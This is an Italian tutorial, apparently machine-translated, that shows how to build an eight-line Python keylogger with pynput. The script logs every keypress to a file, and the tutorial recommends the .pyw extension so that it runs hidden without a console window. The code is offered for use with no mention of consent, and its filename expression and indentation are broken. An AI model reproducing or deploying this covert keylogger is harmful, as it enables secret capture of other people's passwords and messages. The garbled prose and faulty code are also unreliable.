Facile come Torta: la Costruzione di un Semplice Registratore di tasti in Python
dalla sequenza di tasti
Questo piccolo articolo vi mostrerà come creare rapidamente e facilmente un piccolo e molto semplice Registratore di tasti in Python. Questo Registratore di tasti sarà composto da otto righe di codice, ma funziona!
Per il nostro Registratore di tasti, abbiamo intenzione di utilizzare una libreria python chiamato pynput (che si può trovare qui: https://github.com/moses-palmer/pynput). È possibile installarlo utilizzando pip gestore di pacchetti.
Creare un file con il nome Registratore di tasti.pyw, lancio un qualsiasi editor di testo e iniziamo la creazione di un Registratore di tasti.
from pynput.keyboard import Key, Listener
import logging
logdir = ""
logging.basicConfig(filename = (logdir"logfile.txt"),level = logging.DEBUG, format = '%(asctime)s : %(message)s')
def keypress(Key):
logging.info(str(Key))
with Listener(on_press = keypress) as listener:
listener.join()
Questo è tutto. Solo otto righe. Ecco ciò che ogni riga:
Il primo è tutto sull'importazione di pacchetti (nel nostro caso - pynput) e la registrazione, in modo che ogni chiave viene registrato quando viene premuto.
A quel punto, abbiamo bisogno di una directory di registrazione, che in questo caso è vuota (ma è possibile specificare il proprio), quindi, si trova nella stessa directory dello script.
La prossima line up con le configurazioni di registrazione, in cui il codice è auto-esplicativo. Il basicConfig() metodo accetta tre parametri, uno dei quali è il nome del file. Dopo, abbiamo la pressione di un tasto metodo listener – sarà la registrazione del tasto dopo che è stato premuto. Così, ogni pressione del tasto verrà registrato.
Come avrete probabilmente notato, abbiamo salvato il file di origine con un .pyw estensione piuttosto che .py uno. Il motivo è che in questo caso il Registratore di tasti può eseguire in background, perché il codice .pyw può essere eseguito senza la creazione di una finestra di console. Basta eseguire il codice, premere alcuni tasti a caso e assicurarsi che tutti questi tasti accedere al file specificato. Significa che hai appena creato un Registratore di tasti in Python, composto da 8 righe di codice!
Data di pubblicazione: